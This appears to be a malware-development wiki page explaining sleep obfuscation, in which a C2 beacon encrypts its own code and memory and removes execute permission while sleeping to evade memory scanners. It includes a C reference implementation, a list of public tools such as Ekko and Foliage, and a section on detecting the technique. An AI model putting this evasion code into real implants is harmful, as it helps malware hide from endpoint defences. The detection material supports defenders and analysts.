Skip to content
λmaldev wiki/
pagesHeap / Stack Encryption During Sleep
T1027.007WindowsC / C++x64ROP

Heap / Stack Encryption During Sleep

updated 2026-08-048 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Most C2 beacons spend the vast majority of their lifetime sleeping between check-ins. During sleep, memory scanners can trivially find the beacon’s .text section, configuration block, and heap allocations using YARA signatures. Heap encryption (often called “sleep obfuscation”) solves this by encrypting the beacon’s own memory before sleeping and decrypting it before resuming.

The key insight is that memory scanners operating at the OS level only see what is currently mapped and readable. If the beacon’s pages are encrypted and marked PAGE_NOACCESS during sleep, a scan triggered while the beacon sleeps produces no hits.

Caution.

The decryption window — the moment between waking and completing decryption — is still scannable. EDR products that scan on VirtualProtect events (specifically the restore of execute permissions) catch the beacon in the act of waking up. The window is microseconds, but a scanner triggered on that ETW event will catch it.

The call chain

  1. 1
    register a VEH or use a timer to wake before sleep ends
    Need a mechanism to decrypt and resume before the next check-in.
  2. 2
    encrypt own .text / heap / config regions
    XOR or AES-encrypt the beacon image sections and configuration blob in place.
  3. 3
    change page protection to PAGE_NOACCESS or PAGE_READONLY
    Remove execute permission so a scan of RX memory finds nothing — the region is now inaccessible.
  4. 4
    SleepEx (alertable) or WaitForSingleObjectEx
    Wait in an alertable state for the sleep duration.
  5. 5
    decrypt and restore permissions on wake
    Restore page protections and decrypt the regions before executing any payload code.

Reference implementation

A simplified version of the Ekko-style sleep obfuscation using RtlCreateTimer and RtlCaptureContext to execute the encrypt/decrypt routine from a timer callback:

heap_enc.cC
#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "advapi32.lib")

extern BYTE  _payload_start[];   // start of .text section
extern DWORD _payload_size;      // size of .text section

static BYTE  g_key[16]  = {0};   // random key generated at load time
static BOOL  g_sleeping = FALSE;

// XOR-encrypt/decrypt the beacon's own image in place
static void xor_image(void) {
  for (DWORD i = 0; i < _payload_size; i++)
      _payload_start[i] ^= g_key[i % 16];
}

static VOID CALLBACK wake_apc(ULONG_PTR arg) {
  (void)arg;
  // 1. Restore RX permissions
  DWORD old;
  VirtualProtect(_payload_start, _payload_size,
                 PAGE_EXECUTE_READ, &old);
  // 2. Decrypt
  xor_image();
  g_sleeping = FALSE;
}

void obfuscated_sleep(DWORD ms) {
  // Generate a fresh key for this sleep
  HCRYPTPROV prov;
  CryptAcquireContextA(&prov, NULL, NULL, PROV_RSA_FULL,
                       CRYPT_VERIFYCONTEXT);
  CryptGenRandom(prov, 16, g_key);
  CryptReleaseContext(prov, 0);

  // Encrypt our image
  DWORD old;
  xor_image();
  // Remove execute permission — scanner sees non-executable encrypted data
  VirtualProtect(_payload_start, _payload_size,
                 PAGE_READWRITE, &old);

  g_sleeping = TRUE;

  // Queue an APC to ourselves to wake and decrypt after 'ms' ms
  // (simplified — real implementations use RtlCreateTimer or a timer thread)
  HANDLE ev = CreateEventW(NULL, FALSE, FALSE, NULL);
  QueueUserAPC(wake_apc, GetCurrentThread(), 0);
  SleepEx(ms, TRUE);   // alertable sleep — drains APC on wake

  // If we reach here, wake_apc has already run and restored the image
  CloseHandle(ev);
}

Published implementations

Name Mechanism Key feature
Ekko ROP + RtlCreateTimer + SystemFunction032 AES via SystemFunction032, ROP for VirtualProtect call
Foliage NtContinue ROP chain Avoids direct VirtualProtect calls; stack spoofing
Cronos CFG-compliant ROP Works on binaries with CFG enforced
Popstar NtQueueApcThread self-APC Similar to the simplified version above

Each implementation uses progressively more sophisticated techniques to avoid the VirtualProtect event being correlated with the encrypt/decrypt sequence.

The timer-based approach (Ekko style)

Instead of using an APC, Ekko builds a chain of RtlCreateTimer callbacks:

  1. Timer 1: encrypt image + change protection to RW
  2. Timer 2: SleepEx in an alertable thread for the sleep duration
  3. Timer 3: change protection back to RX + decrypt image

This splits the sequence across multiple timer callbacks, making the ETW correlation harder because the VirtualProtect events are separated in time and appear in different callback frames.

Detection

ETW-TI
VirtualProtect removing execute permission from a previously RX region that contains known beacon patterns.
MEMORY SCAN
Scanning during the sleep window finds high-entropy non-executable memory where RX memory was before sleep.
BEHAVIOURAL
A process that alternates between having RX private memory and high-entropy non-executable private memory on a regular interval.
YARA
Timing the scan to wake events — scanning immediately after a process becomes CPU-active catches the decrypted window.

The strongest detection approach is to scan memory on a fixed interval from outside the process — a kernel driver or an EDR component that schedules periodic scans regardless of what the process is doing. A beacon that is encrypted during sleep will show high-entropy private memory where RX memory was during its active window. That alternating pattern, correlated with process CPU activity, is a reliable indicator of sleep obfuscation in use.

Was this page useful?edit this page ↗